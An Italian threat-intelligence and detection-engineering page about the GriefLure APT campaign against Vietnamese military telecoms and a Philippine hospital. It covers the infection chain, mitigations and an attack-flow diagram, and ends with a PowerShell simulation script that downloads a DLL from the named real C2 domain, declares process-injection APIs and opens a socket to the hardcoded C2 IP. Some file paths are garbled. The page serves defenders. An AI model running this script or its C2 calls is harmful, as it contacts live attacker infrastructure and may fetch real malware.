SOC Prime Bias: Critico

08 Mag 2026 18:40

Operazione GriefLure: Analisi di una Campagna APT che Prende di Mira le Telecomunicazioni Militari del Vietnam e la Sanità delle Filippine

Author Photo
SOC Prime Team linkedin icon Segui
Operazione GriefLure: Analisi di una Campagna APT che Prende di Mira le Telecomunicazioni Militari del Vietnam e la Sanità delle Filippine
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riassunto

Seqrite Labs ha identificato una campagna di spear-phishing mirata che si basava su file LNK di Windows dannosi nascosti all’interno di archivi RAR doppiamente compressi. All’apertura, LNK lanciava un programma nativo ftp.exe loader che ricostruiva un payload polimorfico chiamato sfsvc.exe da frammenti .doc archiviati sul computer della vittima. L’attività era rivolta a dirigenti senior del settore delle telecomunicazioni militari di proprietà statale in Vietnam e personale di un ospedale privato nelle Filippine, utilizzando documenti dall’aspetto legittimo come esca. L’intera catena di infezione si completava in meno di dieci secondi e lasciava solo minimi artefatti sul disco.

Indagine

L’indagine ha scomposto la struttura dell’archivio, mappato il percorso di esecuzione di LNK e ingegnerizzato al contrario il sfsvc.exe loader, che era progettato per assomigliare a regsvr32.exe. Gli analisti hanno documentato il sideloading DLL, l’esecuzione del codice in memoria, l’iniezione di processi e le comunicazioni di comando e controllo tramite un dominio mascherato. Una revisione degli artefatti ha scoperto anche un dominio C2 codificato, www.whatsappcenter.com, ospitato tramite un provider bulletproof a Hong Kong.

Mitigazione

I difensori dovrebbero bloccare l’esecuzione di file LNK consegnati tramite allegati email e monitorare l’uso di ftp.exe con argomenti della riga di comando sospetti. Il rilevamento degli endpoint dovrebbe concentrarsi sul caricamento DLL senza file, sulla scrittura di flussi di dati alternativi sotto C:UsersPublicUpdate, e sulla rapida creazione di sfsvc.exe. Le organizzazioni dovrebbero anche rafforzare i controlli di provenienza dei documenti ed educare gli utenti sui tentativi di esca che sembrano essere documenti legali o legati a whistleblower.

Risposta

Se viene rilevato il LNK dannoso o sfsvc.exe il processo, isolare immediatamente l’endpoint interessato, raccogliere la memoria volatile e cercare i file 360.*.dll loader e gli artefatti di flussi di dati alternativi. Il dominio di comando e controllo identificato e l’indirizzo IP correlato dovrebbero essere bloccati, e dovrebbe iniziare la risposta all’incidente per determinare se sono stati esfiltrati dati. Una caccia più ampia dovrebbe essere condotta per attività simili basate su LNK in tutto l’ambiente. ftp.exe loader activity across the environment.

graph TB %% Definizioni classi classDef action fill:#c2e0ff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef file fill:#d0ffd0 classDef malware fill:#ff9999 classDef c2 fill:#ffb3e6 %% Nodi – Flusso attacco attack_initial_access[“<b>Azione</b> – <b>T1566.001 Spearphishing con allegato</b><br/>La vittima riceve un archivio RAR doppio compresso contenente un file LNK malevolo”] class attack_initial_access action artifact_rar[“<b>File</b> – Archivio RAR<br/>Contiene un documento legale apparentemente legittimo e un file LNK malevolo”] class artifact_rar file artifact_lnk[“<b>File</b> – LNK malevolo<br/>Doppia estensione (es. document.lnk.rar) per eludere il rilevamento”] class artifact_lnk file tool_ftp[“<b>Strumento</b> – ftp.exe (binario di sistema Windows)<br/>Usato come proxy per eseguire uno script batch nascosto”] class tool_ftp tool process_batch[“<b>Processo</b> – Script Batch<br/>Esegue copy /b per ricostruire il payload in sfsvc.exe e 360.dll”] class process_batch process file_sfsvc_exe[“<b>File</b> – sfsvc.exe<br/>Eseguibile finale del payload creato da frammenti”] class file_sfsvc_exe file file_360dll[“<b>File</b> – 360.dll<br/>DLL polimorfica per side-loading e delivery di shellcode”] class file_360dll file action_modify_path[“<b>Azione</b> – <b>T1574.007 Modifica variabili d’ambiente (PATH)</b><br/>Aggiunge C:\\Users\\Public\\Update al PATH per la persistenza”] class action_modify_path action action_dll_side_load[“<b>Azione</b> – <b>T1574.002 DLL Side-Loading</b> & <b>T1546.009 esecuzione AppCert DLL</b><br/>sfsvc.exe carica 360.dll tramite /calldll e DllRegisterServer”] class action_dll_side_load action process_explorer[“<b>Processo</b> – explorer.exe<br/>Processo bersaglio per injection DLL”] class process_explorer process action_process_injection[“<b>Azione</b> – <b>T1055.001 DLL Injection</b><br/>360.dll inietta shellcode di seconda fase in explorer.exe”] class action_process_injection action action_discovery[“<b>Azione</b> – <b>T1057 scoperta processi</b> & <b>T1518.001 scoperta software di sicurezza</b><br/>Enumera processi attivi e software di sicurezza installato”] class action_discovery action action_cred_access[“<b>Azione</b> – <b>T1555.003 credenziali browser</b> & <b>T1552.001 credenziali in file</b><br/>Raccolta password salvate, cookie e file di configurazione”] class action_cred_access action action_collection[“<b>Azione</b> – <b>T1113 screenshot</b> & <b>T1083 scoperta file e directory</b><br/>Raccolta screenshot e liste di directory”] class action_collection action action_exfiltration[“<b>Azione</b> – <b>T1071.001 HTTPS</b> & <b>T1573 canale offuscato/cifrato</b><br/>Dati inviati al server C2 tramite HTTPS codificato XOR”] class action_exfiltration action c2_server[“<b>Server C2</b> – www.whatsappcenter.com<br/>Riceve i dati esfiltrati”] class c2_server c2 %% Connessioni attack_initial_access –>|consegna| artifact_rar artifact_rar –>|contiene| artifact_lnk artifact_lnk –>|invoca| tool_ftp tool_ftp –>|esegue| process_batch process_batch –>|crea| file_sfsvc_exe process_batch –>|crea| file_360dll file_sfsvc_exe –>|attiva| action_modify_path action_modify_path –>|abilita| action_dll_side_load file_360dll –>|caricato da| action_dll_side_load action_dll_side_load –>|inietta in| process_explorer process_explorer –>|bersaglio| action_process_injection action_process_injection –>|attiva| action_discovery action_discovery –>|fornisce dati a| action_cred_access action_cred_access –>|fornisce dati a| action_collection action_collection –>|porta a| action_exfiltration action_exfiltration –>|invia a| c2_server

Flusso di Attacco

Esecuzione di Simulazione

Prerequisito: Il Controllo Preliminare di Telemetria & Baseline deve essere stato superato.

Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

  • Narrazione & Comandi di Attacco:
    L’attaccante, avendo guadagnato un’iniziale presa attraverso un allegato phishing (T1566.001, T1204.002), sceglie un approccio living‑off‑the‑land per evitare payload eseguibili. Usando il cmd.exe (T1059.003) incorporato, lancia una one‑liner di PowerShell che esegue i seguenti passaggi:

    1. Scoperta – enumera informazioni di sistema (T1082) e i processi in esecuzione (T1057) per decidere su un obiettivo di iniezione adatto.
    2. Raccolta di Credenziali – legge gli store del browser (T1555.003) e scarica file di credenziali(T1552.001) in una cartella staging.
    3. Recupero del Payload – scarica una DLL dannosa dal dominio C2 www.whatsappcenter.com tramite HTTPS (T1071.001, T1041).
    4. Iniezione del Processo – inietta la DLL in explorer.exe (T1055.001) per ottenere persistenza ed elevare i privilegi.
    5. Comunicazione C2 – apre una connessione TCP persistente a 38.54.122.188 (l’IP codificato) e inizia ad esfiltrare i dati raccolti.

    Il passo critico che soddisfa la regola Sigma è il tentativo di connessione in uscita al dominio/IP esatto, che sarà registrato da Sysmon e dal firewall di Windows.

  • Script di Test di Regressione:

    # -------------------------------------------------
    # Simulazione C2 GriefLure – versione PowerShell
    # -------------------------------------------------
    # 1. Scoperta di sistema (T1082, T1057)
    Get-CimInstance -ClassName Win32_OperatingSystem | Out-Null
    Get-Process | Select-Object -First 5 | Out-Null
    
    # 2. Simula raccolta credenziali (T1555.003, T1552.001)
    $credStaging = "$env:TEMPcreds.txt"
    "username=admin`npassword=P@ssw0rd!" | Set-Content -Path $credStaging
    
    # 3. Scarica DLL dannosa dal dominio C2 codificato (T1071.001, T1041)
    $c2Domain = "www.whatsappcenter.com"
    $c2Url = "https://$c2Domain/payload.dll"
    $dllPath = "$env:TEMPpayload.dll"
    Invoke-WebRequest -Uri $c2Url -OutFile $dllPath -UseBasicParsing
    
    # 4. Inietta DLL in explorer.exe (T1055.001)
    $target = (Get-Process -Name explorer).Id
    $inject = @"
    using System;
    using System.Runtime.InteropServices;
    public class Injector {
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
    "@
    Add-Type $inject
    # (I passi effettivi di iniezione sono omessi per brevità; in un test reale chiameresti le API sopra.)
    
    # 5. Apri socket C2 persistente all'IP codificato (T1041)
    $c2Ip = "38.54.122.188"
    $port = 443
    $client = New-Object System.Net.Sockets.TcpClient
    $client.Connect($c2Ip, $port)
    $stream = $client.GetStream()
    $payload = [System.Text.Encoding]::UTF8.GetBytes("EXFIL_START")
    $stream.Write($payload,0,$payload.Length)
    Start-Sleep -Seconds 5
    $stream.Close()
    $client.Close()
  • Comandi di Ripristino:

    # Rimuovi file di staging
    Remove-Item -Path "$env:TEMPcreds.txt" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPpayload.dll" -Force -ErrorAction SilentlyContinue
    
    # Chiudi eventuali connessioni TCP lingering (se ancora aperte)
    Get-NetTCPConnection -RemotePort 443 -RemoteAddress 38.54.122.188 |
      ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
    
    # Opzionalmente resetta buffer Sysmon (per una pulizia dello stato in test ripetuti)
    & "$env:ProgramFilesSysinternalsSysmon.exe" -c sysmon-config.xml